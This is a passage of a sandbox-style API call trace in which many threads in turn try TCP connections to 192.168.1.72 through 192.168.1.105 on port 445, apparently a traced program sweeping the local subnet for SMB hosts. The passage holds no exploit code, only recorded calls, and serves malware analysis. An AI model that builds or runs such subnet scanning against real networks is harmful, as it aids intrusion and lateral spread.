lpWSAData=0x1049fdf0) returned 0 [0110.806] socket (af=2, type=1, protocol=0) returned 0x1960 [0110.806] inet_addr (cp="192.168.1.72") returned 0x4801a8c0 [0110.806] htons (hostshort=0x1bd) returned 0xbd01 [0110.806] connect (s=0x1960, name=0x1049fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.72"), namelen=16) returned -1 [0132.014] closesocket (s=0x1960) returned 0 [0132.014] WSACleanup () returned 0 [0132.014] GetCurrentThreadId () returned 0x13b8 [0132.014] GetCurrentThreadId () returned 0x13b8 [0132.014] GetCurrentThreadId () returned 0x13b8 Thread: id = 699 os_tid = 0x13bc [0110.843] GetCurrentThreadId () returned 0x13bc [0110.843] GetCurrentThreadId () returned 0x13bc [0110.843] GetCurrentThreadId () returned 0x13bc [0110.843] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x105dfdf0 | out: lpWSAData=0x105dfdf0) returned 0 [0110.843] socket (af=2, type=1, protocol=0) returned 0x1940 [0110.843] inet_addr (cp="192.168.1.73") returned 0x4901a8c0 [0110.843] htons (hostshort=0x1bd) returned 0xbd01 [0110.843] connect (s=0x1940, name=0x105dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.73"), namelen=16) returned -1 [0132.015] closesocket (s=0x1940) returned 0 [0132.015] WSACleanup () returned 0 [0132.015] GetCurrentThreadId () returned 0x13bc [0132.015] GetCurrentThreadId () returned 0x13bc [0132.015] GetCurrentThreadId () returned 0x13bc Thread: id = 700 os_tid = 0x13c0 [0110.938] GetCurrentThreadId () returned 0x13c0 [0110.938] GetCurrentThreadId () returned 0x13c0 [0110.938] GetCurrentThreadId () returned 0x13c0 [0110.938] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1071fdf0 | out: lpWSAData=0x1071fdf0) returned 0 [0110.938] socket (af=2, type=1, protocol=0) returned 0x1980 [0110.938] inet_addr (cp="192.168.1.74") returned 0x4a01a8c0 [0110.938] htons (hostshort=0x1bd) returned 0xbd01 [0110.938] connect (s=0x1980, name=0x1071fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.74"), namelen=16) returned -1 [0132.016] closesocket (s=0x1980) returned 0 [0132.016] WSACleanup () returned 0 [0132.016] GetCurrentThreadId () returned 0x13c0 [0132.016] GetCurrentThreadId () returned 0x13c0 [0132.016] GetCurrentThreadId () returned 0x13c0 Thread: id = 701 os_tid = 0x13c4 [0111.030] GetCurrentThreadId () returned 0x13c4 [0111.030] GetCurrentThreadId () returned 0x13c4 [0111.030] GetCurrentThreadId () returned 0x13c4 [0111.030] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1085fdf0 | out: lpWSAData=0x1085fdf0) returned 0 [0111.030] socket (af=2, type=1, protocol=0) returned 0x1948 [0111.031] inet_addr (cp="192.168.1.75") returned 0x4b01a8c0 [0111.031] htons (hostshort=0x1bd) returned 0xbd01 [0111.031] connect (s=0x1948, name=0x1085fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.75"), namelen=16) returned -1 [0132.215] closesocket (s=0x1948) returned 0 [0132.215] WSACleanup () returned 0 [0132.215] GetCurrentThreadId () returned 0x13c4 [0132.215] GetCurrentThreadId () returned 0x13c4 [0132.215] GetCurrentThreadId () returned 0x13c4 Thread: id = 702 os_tid = 0x13c8 [0111.108] GetCurrentThreadId () returned 0x13c8 [0111.108] GetCurrentThreadId () returned 0x13c8 [0111.108] GetCurrentThreadId () returned 0x13c8 [0111.108] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1099fdf0 | out: lpWSAData=0x1099fdf0) returned 0 [0111.108] socket (af=2, type=1, protocol=0) returned 0x19b8 [0111.109] inet_addr (cp="192.168.1.76") returned 0x4c01a8c0 [0111.109] htons (hostshort=0x1bd) returned 0xbd01 [0111.109] connect (s=0x19b8, name=0x1099fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.76"), namelen=16) returned -1 [0132.216] closesocket (s=0x19b8) returned 0 [0132.216] WSACleanup () returned 0 [0132.216] GetCurrentThreadId () returned 0x13c8 [0132.216] GetCurrentThreadId () returned 0x13c8 [0132.216] GetCurrentThreadId () returned 0x13c8 Thread: id = 703 os_tid = 0x13cc [0111.202] GetCurrentThreadId () returned 0x13cc [0111.202] GetCurrentThreadId () returned 0x13cc [0111.202] GetCurrentThreadId () returned 0x13cc [0111.202] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x10adfdf0 | out: lpWSAData=0x10adfdf0) returned 0 [0111.202] socket (af=2, type=1, protocol=0) returned 0x1938 [0111.202] inet_addr (cp="192.168.1.77") returned 0x4d01a8c0 [0111.202] htons (hostshort=0x1bd) returned 0xbd01 [0111.202] connect (s=0x1938, name=0x10adfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.77"), namelen=16) returned -1 [0132.419] closesocket (s=0x1938) returned 0 [0132.419] WSACleanup () returned 0 [0132.419] GetCurrentThreadId () returned 0x13cc [0132.419] GetCurrentThreadId () returned 0x13cc [0132.419] GetCurrentThreadId () returned 0x13cc Thread: id = 704 os_tid = 0x13d0 [0111.306] GetCurrentThreadId () returned 0x13d0 [0111.306] GetCurrentThreadId () returned 0x13d0 [0111.306] GetCurrentThreadId () returned 0x13d0 [0111.306] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x10c1fdf0 | out: lpWSAData=0x10c1fdf0) returned 0 [0111.306] socket (af=2, type=1, protocol=0) returned 0x1914 [0111.307] inet_addr (cp="192.168.1.78") returned 0x4e01a8c0 [0111.307] htons (hostshort=0x1bd) returned 0xbd01 [0111.307] connect (s=0x1914, name=0x10c1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.78"), namelen=16) returned -1 [0132.420] closesocket (s=0x1914) returned 0 [0132.420] WSACleanup () returned 0 [0132.420] GetCurrentThreadId () returned 0x13d0 [0132.420] GetCurrentThreadId () returned 0x13d0 [0132.420] GetCurrentThreadId () returned 0x13d0 Thread: id = 705 os_tid = 0x13d8 [0111.406] GetCurrentThreadId () returned 0x13d8 [0111.407] GetCurrentThreadId () returned 0x13d8 [0111.407] GetCurrentThreadId () returned 0x13d8 [0111.407] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x10d5fdf0 | out: lpWSAData=0x10d5fdf0) returned 0 [0111.407] socket (af=2, type=1, protocol=0) returned 0x190c [0111.407] inet_addr (cp="192.168.1.79") returned 0x4f01a8c0 [0111.407] htons (hostshort=0x1bd) returned 0xbd01 [0111.407] connect (s=0x190c, name=0x10d5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.79"), namelen=16) returned -1 [0132.512] closesocket (s=0x190c) returned 0 [0132.512] WSACleanup () returned 0 [0132.512] GetCurrentThreadId () returned 0x13d8 [0132.512] GetCurrentThreadId () returned 0x13d8 [0132.512] GetCurrentThreadId () returned 0x13d8 Thread: id = 706 os_tid = 0x13dc [0111.498] GetCurrentThreadId () returned 0x13dc [0111.498] GetCurrentThreadId () returned 0x13dc [0111.498] GetCurrentThreadId () returned 0x13dc [0111.498] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x10e9fdf0 | out: lpWSAData=0x10e9fdf0) returned 0 [0111.498] socket (af=2, type=1, protocol=0) returned 0x180c [0111.498] inet_addr (cp="192.168.1.80") returned 0x5001a8c0 [0111.498] htons (hostshort=0x1bd) returned 0xbd01 [0111.498] connect (s=0x180c, name=0x10e9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.80"), namelen=16) returned -1 [0132.605] closesocket (s=0x180c) returned 0 [0132.605] WSACleanup () returned 0 [0132.605] GetCurrentThreadId () returned 0x13dc [0132.605] GetCurrentThreadId () returned 0x13dc [0132.605] GetCurrentThreadId () returned 0x13dc Thread: id = 707 os_tid = 0x13e0 [0111.592] GetCurrentThreadId () returned 0x13e0 [0111.592] GetCurrentThreadId () returned 0x13e0 [0111.592] GetCurrentThreadId () returned 0x13e0 [0111.592] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x10fdfdf0 | out: lpWSAData=0x10fdfdf0) returned 0 [0111.592] socket (af=2, type=1, protocol=0) returned 0x1a5c [0111.592] inet_addr (cp="192.168.1.81") returned 0x5101a8c0 [0111.592] htons (hostshort=0x1bd) returned 0xbd01 [0111.592] connect (s=0x1a5c, name=0x10fdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.81"), namelen=16) returned -1 [0132.714] closesocket (s=0x1a5c) returned 0 [0132.714] WSACleanup () returned 0 [0132.715] GetCurrentThreadId () returned 0x13e0 [0132.715] GetCurrentThreadId () returned 0x13e0 [0132.715] GetCurrentThreadId () returned 0x13e0 Thread: id = 708 os_tid = 0x13e4 [0111.685] GetCurrentThreadId () returned 0x13e4 [0111.685] GetCurrentThreadId () returned 0x13e4 [0111.685] GetCurrentThreadId () returned 0x13e4 [0111.685] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1111fdf0 | out: lpWSAData=0x1111fdf0) returned 0 [0111.685] socket (af=2, type=1, protocol=0) returned 0x1a54 [0111.686] inet_addr (cp="192.168.1.82") returned 0x5201a8c0 [0111.686] htons (hostshort=0x1bd) returned 0xbd01 [0111.686] connect (s=0x1a54, name=0x1111fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.82"), namelen=16) returned -1 [0132.917] closesocket (s=0x1a54) returned 0 [0132.917] WSACleanup () returned 0 [0132.917] GetCurrentThreadId () returned 0x13e4 [0132.918] GetCurrentThreadId () returned 0x13e4 [0132.918] GetCurrentThreadId () returned 0x13e4 Thread: id = 709 os_tid = 0x13e8 [0111.769] GetCurrentThreadId () returned 0x13e8 [0111.769] GetCurrentThreadId () returned 0x13e8 [0111.769] GetCurrentThreadId () returned 0x13e8 [0111.769] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1125fdf0 | out: lpWSAData=0x1125fdf0) returned 0 [0111.769] socket (af=2, type=1, protocol=0) returned 0x1abc [0111.769] inet_addr (cp="192.168.1.83") returned 0x5301a8c0 [0111.769] htons (hostshort=0x1bd) returned 0xbd01 [0111.769] connect (s=0x1abc, name=0x1125fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.83"), namelen=16) returned -1 [0132.918] closesocket (s=0x1abc) returned 0 [0132.918] WSACleanup () returned 0 [0132.918] GetCurrentThreadId () returned 0x13e8 [0132.918] GetCurrentThreadId () returned 0x13e8 [0132.918] GetCurrentThreadId () returned 0x13e8 Thread: id = 710 os_tid = 0x13ec [0111.857] GetCurrentThreadId () returned 0x13ec [0111.857] GetCurrentThreadId () returned 0x13ec [0111.857] GetCurrentThreadId () returned 0x13ec [0111.857] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1139fdf0 | out: lpWSAData=0x1139fdf0) returned 0 [0111.857] socket (af=2, type=1, protocol=0) returned 0x1a94 [0111.857] inet_addr (cp="192.168.1.84") returned 0x5401a8c0 [0111.857] htons (hostshort=0x1bd) returned 0xbd01 [0111.857] connect (s=0x1a94, name=0x1139fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.84"), namelen=16) returned -1 [0132.919] closesocket (s=0x1a94) returned 0 [0132.919] WSACleanup () returned 0 [0132.919] GetCurrentThreadId () returned 0x13ec [0132.919] GetCurrentThreadId () returned 0x13ec [0132.919] GetCurrentThreadId () returned 0x13ec Thread: id = 711 os_tid = 0x13f0 [0111.950] GetCurrentThreadId () returned 0x13f0 [0111.950] GetCurrentThreadId () returned 0x13f0 [0111.950] GetCurrentThreadId () returned 0x13f0 [0111.950] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x114dfdf0 | out: lpWSAData=0x114dfdf0) returned 0 [0111.951] socket (af=2, type=1, protocol=0) returned 0x1ac8 [0111.951] inet_addr (cp="192.168.1.85") returned 0x5501a8c0 [0111.951] htons (hostshort=0x1bd) returned 0xbd01 [0111.951] connect (s=0x1ac8, name=0x114dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.85"), namelen=16) returned -1 [0133.120] closesocket (s=0x1ac8) returned 0 [0133.120] WSACleanup () returned 0 [0133.120] GetCurrentThreadId () returned 0x13f0 [0133.120] GetCurrentThreadId () returned 0x13f0 [0133.120] GetCurrentThreadId () returned 0x13f0 Thread: id = 712 os_tid = 0x13f4 [0112.044] GetCurrentThreadId () returned 0x13f4 [0112.044] GetCurrentThreadId () returned 0x13f4 [0112.044] GetCurrentThreadId () returned 0x13f4 [0112.044] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1161fdf0 | out: lpWSAData=0x1161fdf0) returned 0 [0112.044] socket (af=2, type=1, protocol=0) returned 0x1a9c [0112.045] inet_addr (cp="192.168.1.86") returned 0x5601a8c0 [0112.045] htons (hostshort=0x1bd) returned 0xbd01 [0112.045] connect (s=0x1a9c, name=0x1161fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.86"), namelen=16) returned -1 [0133.121] closesocket (s=0x1a9c) returned 0 [0133.121] WSACleanup () returned 0 [0133.121] GetCurrentThreadId () returned 0x13f4 [0133.121] GetCurrentThreadId () returned 0x13f4 [0133.121] GetCurrentThreadId () returned 0x13f4 Thread: id = 713 os_tid = 0x13f8 [0112.138] GetCurrentThreadId () returned 0x13f8 [0112.138] GetCurrentThreadId () returned 0x13f8 [0112.138] GetCurrentThreadId () returned 0x13f8 [0112.138] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1175fdf0 | out: lpWSAData=0x1175fdf0) returned 0 [0112.138] socket (af=2, type=1, protocol=0) returned 0x1ae8 [0112.138] inet_addr (cp="192.168.1.87") returned 0x5701a8c0 [0112.138] htons (hostshort=0x1bd) returned 0xbd01 [0112.138] connect (s=0x1ae8, name=0x1175fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.87"), namelen=16) returned -1 [0133.226] closesocket (s=0x1ae8) returned 0 [0133.226] WSACleanup () returned 0 [0133.226] GetCurrentThreadId () returned 0x13f8 [0133.226] GetCurrentThreadId () returned 0x13f8 [0133.226] GetCurrentThreadId () returned 0x13f8 Thread: id = 714 os_tid = 0x13fc [0112.231] GetCurrentThreadId () returned 0x13fc [0112.231] GetCurrentThreadId () returned 0x13fc [0112.232] GetCurrentThreadId () returned 0x13fc [0112.232] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1189fdf0 | out: lpWSAData=0x1189fdf0) returned 0 [0112.232] socket (af=2, type=1, protocol=0) returned 0x1b08 [0112.232] inet_addr (cp="192.168.1.88") returned 0x5801a8c0 [0112.232] htons (hostshort=0x1bd) returned 0xbd01 [0112.232] connect (s=0x1b08, name=0x1189fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.88"), namelen=16) returned -1 [0133.416] closesocket (s=0x1b08) returned 0 [0133.416] WSACleanup () returned 0 [0133.416] GetCurrentThreadId () returned 0x13fc [0133.417] GetCurrentThreadId () returned 0x13fc [0133.417] GetCurrentThreadId () returned 0x13fc Thread: id = 715 os_tid = 0xb9c [0112.325] GetCurrentThreadId () returned 0xb9c [0112.325] GetCurrentThreadId () returned 0xb9c [0112.325] GetCurrentThreadId () returned 0xb9c [0112.325] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x119dfdf0 | out: lpWSAData=0x119dfdf0) returned 0 [0112.325] socket (af=2, type=1, protocol=0) returned 0x1af0 [0112.326] inet_addr (cp="192.168.1.89") returned 0x5901a8c0 [0112.326] htons (hostshort=0x1bd) returned 0xbd01 [0112.326] connect (s=0x1af0, name=0x119dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.89"), namelen=16) returned -1 [0133.417] closesocket (s=0x1af0) returned 0 [0133.417] WSACleanup () returned 0 [0133.417] GetCurrentThreadId () returned 0xb9c [0133.418] GetCurrentThreadId () returned 0xb9c [0133.418] GetCurrentThreadId () returned 0xb9c Thread: id = 716 os_tid = 0xbd8 [0112.450] GetCurrentThreadId () returned 0xbd8 [0112.450] GetCurrentThreadId () returned 0xbd8 [0112.450] GetCurrentThreadId () returned 0xbd8 [0112.450] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x11b1fdf0 | out: lpWSAData=0x11b1fdf0) returned 0 [0112.450] socket (af=2, type=1, protocol=0) returned 0x1b34 [0112.450] inet_addr (cp="192.168.1.90") returned 0x5a01a8c0 [0112.450] htons (hostshort=0x1bd) returned 0xbd01 [0112.450] connect (s=0x1b34, name=0x11b1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.90"), namelen=16) returned -1 [0133.510] closesocket (s=0x1b34) returned 0 [0133.510] WSACleanup () returned 0 [0133.510] GetCurrentThreadId () returned 0xbd8 [0133.510] GetCurrentThreadId () returned 0xbd8 [0133.510] GetCurrentThreadId () returned 0xbd8 Thread: id = 717 os_tid = 0x5e4 [0112.544] GetCurrentThreadId () returned 0x5e4 [0112.544] GetCurrentThreadId () returned 0x5e4 [0112.544] GetCurrentThreadId () returned 0x5e4 [0112.544] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x11c5fdf0 | out: lpWSAData=0x11c5fdf0) returned 0 [0112.544] socket (af=2, type=1, protocol=0) returned 0x1b54 [0112.544] inet_addr (cp="192.168.1.91") returned 0x5b01a8c0 [0112.544] htons (hostshort=0x1bd) returned 0xbd01 [0112.544] connect (s=0x1b54, name=0x11c5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.91"), namelen=16) returned -1 [0133.619] closesocket (s=0x1b54) returned 0 [0133.619] WSACleanup () returned 0 [0133.619] GetCurrentThreadId () returned 0x5e4 [0133.619] GetCurrentThreadId () returned 0x5e4 [0133.619] GetCurrentThreadId () returned 0x5e4 Thread: id = 718 os_tid = 0xbd4 [0112.653] GetCurrentThreadId () returned 0xbd4 [0112.653] GetCurrentThreadId () returned 0xbd4 [0112.653] GetCurrentThreadId () returned 0xbd4 [0112.653] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x11e8fdf0 | out: lpWSAData=0x11e8fdf0) returned 0 [0112.653] socket (af=2, type=1, protocol=0) returned 0x1a70 [0112.653] inet_addr (cp="192.168.1.92") returned 0x5c01a8c0 [0112.653] htons (hostshort=0x1bd) returned 0xbd01 [0112.653] connect (s=0x1a70, name=0x11e8fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.92"), namelen=16) returned -1 [0133.713] closesocket (s=0x1a70) returned 0 [0133.713] WSACleanup () returned 0 [0133.713] GetCurrentThreadId () returned 0xbd4 [0133.713] GetCurrentThreadId () returned 0xbd4 [0133.713] GetCurrentThreadId () returned 0xbd4 Thread: id = 719 os_tid = 0x7ac [0112.763] GetCurrentThreadId () returned 0x7ac [0112.763] GetCurrentThreadId () returned 0x7ac [0112.763] GetCurrentThreadId () returned 0x7ac [0112.763] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x11f8fdf0 | out: lpWSAData=0x11f8fdf0) returned 0 [0112.763] socket (af=2, type=1, protocol=0) returned 0x1a7c [0112.763] inet_addr (cp="192.168.1.93") returned 0x5d01a8c0 [0112.763] htons (hostshort=0x1bd) returned 0xbd01 [0112.763] connect (s=0x1a7c, name=0x11f8fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.93"), namelen=16) returned -1 [0133.806] closesocket (s=0x1a7c) returned 0 [0133.807] WSACleanup () returned 0 [0133.807] GetCurrentThreadId () returned 0x7ac [0133.807] GetCurrentThreadId () returned 0x7ac [0133.807] GetCurrentThreadId () returned 0x7ac Thread: id = 720 os_tid = 0x64 [0112.855] GetCurrentThreadId () returned 0x64 [0112.855] GetCurrentThreadId () returned 0x64 [0112.855] GetCurrentThreadId () returned 0x64 [0112.855] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1208fdf0 | out: lpWSAData=0x1208fdf0) returned 0 [0112.855] socket (af=2, type=1, protocol=0) returned 0x1b2c [0112.856] inet_addr (cp="192.168.1.94") returned 0x5e01a8c0 [0112.856] htons (hostshort=0x1bd) returned 0xbd01 [0112.856] connect (s=0x1b2c, name=0x1208fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.94"), namelen=16) returned -1 [0133.916] closesocket (s=0x1b2c) returned 0 [0133.916] WSACleanup () returned 0 [0133.916] GetCurrentThreadId () returned 0x64 [0133.916] GetCurrentThreadId () returned 0x64 [0133.916] GetCurrentThreadId () returned 0x64 Thread: id = 721 os_tid = 0x344 [0112.949] GetCurrentThreadId () returned 0x344 [0112.949] GetCurrentThreadId () returned 0x344 [0112.949] GetCurrentThreadId () returned 0x344 [0112.950] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1218fdf0 | out: lpWSAData=0x1218fdf0) returned 0 [0112.950] socket (af=2, type=1, protocol=0) returned 0x19c8 [0112.950] inet_addr (cp="192.168.1.95") returned 0x5f01a8c0 [0112.950] htons (hostshort=0x1bd) returned 0xbd01 [0112.950] connect (s=0x19c8, name=0x1218fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.95"), namelen=16) returned -1 [0134.009] closesocket (s=0x19c8) returned 0 [0134.009] WSACleanup () returned 0 [0134.009] GetCurrentThreadId () returned 0x344 [0134.010] GetCurrentThreadId () returned 0x344 [0134.010] GetCurrentThreadId () returned 0x344 Thread: id = 722 os_tid = 0x3c4 [0113.044] GetCurrentThreadId () returned 0x3c4 [0113.044] GetCurrentThreadId () returned 0x3c4 [0113.044] GetCurrentThreadId () returned 0x3c4 [0113.044] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x122cfdf0 | out: lpWSAData=0x122cfdf0) returned 0 [0113.044] socket (af=2, type=1, protocol=0) returned 0x1a40 [0113.044] inet_addr (cp="192.168.1.96") returned 0x6001a8c0 [0113.044] htons (hostshort=0x1bd) returned 0xbd01 [0113.044] connect (s=0x1a40, name=0x122cfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.96"), namelen=16) returned -1 [0134.118] closesocket (s=0x1a40) returned 0 [0134.118] WSACleanup () returned 0 [0134.118] GetCurrentThreadId () returned 0x3c4 [0134.119] GetCurrentThreadId () returned 0x3c4 [0134.119] GetCurrentThreadId () returned 0x3c4 Thread: id = 723 os_tid = 0x6f4 [0113.137] GetCurrentThreadId () returned 0x6f4 [0113.137] GetCurrentThreadId () returned 0x6f4 [0113.137] GetCurrentThreadId () returned 0x6f4 [0113.137] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1240fdf0 | out: lpWSAData=0x1240fdf0) returned 0 [0113.137] socket (af=2, type=1, protocol=0) returned 0x1a38 [0113.137] inet_addr (cp="192.168.1.97") returned 0x6101a8c0 [0113.137] htons (hostshort=0x1bd) returned 0xbd01 [0113.137] connect (s=0x1a38, name=0x1240fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.97"), namelen=16) returned -1 [0134.222] closesocket (s=0x1a38) returned 0 [0134.223] WSACleanup () returned 0 [0134.223] GetCurrentThreadId () returned 0x6f4 [0134.223] GetCurrentThreadId () returned 0x6f4 [0134.223] GetCurrentThreadId () returned 0x6f4 Thread: id = 724 os_tid = 0x9d8 [0113.230] GetCurrentThreadId () returned 0x9d8 [0113.230] GetCurrentThreadId () returned 0x9d8 [0113.230] GetCurrentThreadId () returned 0x9d8 [0113.230] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1254fdf0 | out: lpWSAData=0x1254fdf0) returned 0 [0113.230] socket (af=2, type=1, protocol=0) returned 0x17f4 [0113.231] inet_addr (cp="192.168.1.98") returned 0x6201a8c0 [0113.231] htons (hostshort=0x1bd) returned 0xbd01 [0113.231] connect (s=0x17f4, name=0x1254fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.98"), namelen=16) returned -1 [0134.305] closesocket (s=0x17f4) returned 0 [0134.306] WSACleanup () returned 0 [0134.306] GetCurrentThreadId () returned 0x9d8 [0134.306] GetCurrentThreadId () returned 0x9d8 [0134.306] GetCurrentThreadId () returned 0x9d8 Thread: id = 725 os_tid = 0x4b8 [0113.324] GetCurrentThreadId () returned 0x4b8 [0113.324] GetCurrentThreadId () returned 0x4b8 [0113.324] GetCurrentThreadId () returned 0x4b8 [0113.324] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1268fdf0 | out: lpWSAData=0x1268fdf0) returned 0 [0113.324] socket (af=2, type=1, protocol=0) returned 0x1a20 [0113.324] inet_addr (cp="192.168.1.99") returned 0x6301a8c0 [0113.324] htons (hostshort=0x1bd) returned 0xbd01 [0113.324] connect (s=0x1a20, name=0x1268fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.99"), namelen=16) returned -1 [0134.415] closesocket (s=0x1a20) returned 0 [0134.415] WSACleanup () returned 0 [0134.415] GetCurrentThreadId () returned 0x4b8 [0134.415] GetCurrentThreadId () returned 0x4b8 [0134.415] GetCurrentThreadId () returned 0x4b8 Thread: id = 726 os_tid = 0x608 [0113.510] GetCurrentThreadId () returned 0x608 [0113.511] GetCurrentThreadId () returned 0x608 [0113.511] GetCurrentThreadId () returned 0x608 [0113.511] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x127cfdf0 | out: lpWSAData=0x127cfdf0) returned 0 [0113.511] socket (af=2, type=1, protocol=0) returned 0x19e4 [0113.511] inet_addr (cp="192.168.1.100") returned 0x6401a8c0 [0113.511] htons (hostshort=0x1bd) returned 0xbd01 [0113.511] connect (s=0x19e4, name=0x127cfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.100"), namelen=16) returned -1 [0134.617] closesocket (s=0x19e4) returned 0 [0134.617] WSACleanup () returned 0 [0134.617] GetCurrentThreadId () returned 0x608 [0134.617] GetCurrentThreadId () returned 0x608 [0134.617] GetCurrentThreadId () returned 0x608 Thread: id = 728 os_tid = 0x304 [0113.590] GetCurrentThreadId () returned 0x304 [0113.590] GetCurrentThreadId () returned 0x304 [0113.590] GetCurrentThreadId () returned 0x304 [0113.590] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1290fdf0 | out: lpWSAData=0x1290fdf0) returned 0 [0113.590] socket (af=2, type=1, protocol=0) returned 0x18f0 [0113.590] inet_addr (cp="192.168.1.101") returned 0x6501a8c0 [0113.590] htons (hostshort=0x1bd) returned 0xbd01 [0113.591] connect (s=0x18f0, name=0x1290fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.101"), namelen=16) returned -1 [0134.711] closesocket (s=0x18f0) returned 0 [0134.711] WSACleanup () returned 0 [0134.711] GetCurrentThreadId () returned 0x304 [0134.711] GetCurrentThreadId () returned 0x304 [0134.711] GetCurrentThreadId () returned 0x304 Thread: id = 729 os_tid = 0x62c [0113.636] GetCurrentThreadId () returned 0x62c [0113.636] GetCurrentThreadId () returned 0x62c [0113.636] GetCurrentThreadId () returned 0x62c [0113.636] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x12a4fdf0 | out: lpWSAData=0x12a4fdf0) returned 0 [0113.636] socket (af=2, type=1, protocol=0) returned 0x18e8 [0113.637] inet_addr (cp="192.168.1.102") returned 0x6601a8c0 [0113.637] htons (hostshort=0x1bd) returned 0xbd01 [0113.637] connect (s=0x18e8, name=0x12a4fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.102"), namelen=16) returned -1 [0134.712] closesocket (s=0x18e8) returned 0 [0134.712] WSACleanup () returned 0 [0134.712] GetCurrentThreadId () returned 0x62c [0134.712] GetCurrentThreadId () returned 0x62c [0134.712] GetCurrentThreadId () returned 0x62c Thread: id = 730 os_tid = 0x23c [0113.818] GetCurrentThreadId () returned 0x23c [0113.818] GetCurrentThreadId () returned 0x23c [0113.818] GetCurrentThreadId () returned 0x23c [0113.818] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x12b8fdf0 | out: lpWSAData=0x12b8fdf0) returned 0 [0113.818] socket (af=2, type=1, protocol=0) returned 0x18c8 [0113.819] inet_addr (cp="192.168.1.103") returned 0x6701a8c0 [0113.819] htons (hostshort=0x1bd) returned 0xbd01 [0113.819] connect (s=0x18c8, name=0x12b8fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.103"), namelen=16) returned -1 [0134.914] closesocket (s=0x18c8) returned 0 [0134.914] WSACleanup () returned 0 [0134.914] GetCurrentThreadId () returned 0x23c [0134.914] GetCurrentThreadId () returned 0x23c [0134.914] GetCurrentThreadId () returned 0x23c Thread: id = 731 os_tid = 0x11c8 [0113.948] GetCurrentThreadId () returned 0x11c8 [0113.948] GetCurrentThreadId () returned 0x11c8 [0113.948] GetCurrentThreadId () returned 0x11c8 [0113.948] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x12ccfdf0 | out: lpWSAData=0x12ccfdf0) returned 0 [0113.948] socket (af=2, type=1, protocol=0) returned 0x18a4 [0113.948] inet_addr (cp="192.168.1.104") returned 0x6801a8c0 [0113.948] htons (hostshort=0x1bd) returned 0xbd01 [0113.948] connect (s=0x18a4, name=0x12ccfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.104"), namelen=16) returned -1 [0135.008] closesocket (s=0x18a4) returned 0 [0135.008] WSACleanup () returned 0 [0135.008] GetCurrentThreadId () returned 0x11c8 [0135.008] GetCurrentThreadId () returned 0x11c8 [0135.009] GetCurrentThreadId () returned 0x11c8 Thread: id = 733 os_tid = 0x11c0 [0114.033] GetCurrentThreadId () returned 0x11c0 [0114.033] GetCurrentThreadId () returned 0x11c0 [0114.033] GetCurrentThreadId () returned 0x11c0 [0114.033] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x12e0fdf0 | out: lpWSAData=0x12e0fdf0) returned 0 [0114.033] socket (af=2, type=1, protocol=0) returned 0x189c [0114.034] inet_addr (cp="192.168.1.105") returned 0x6901a8c0 [0114.034] htons (hostshort=0x1bd) returned 0xbd01 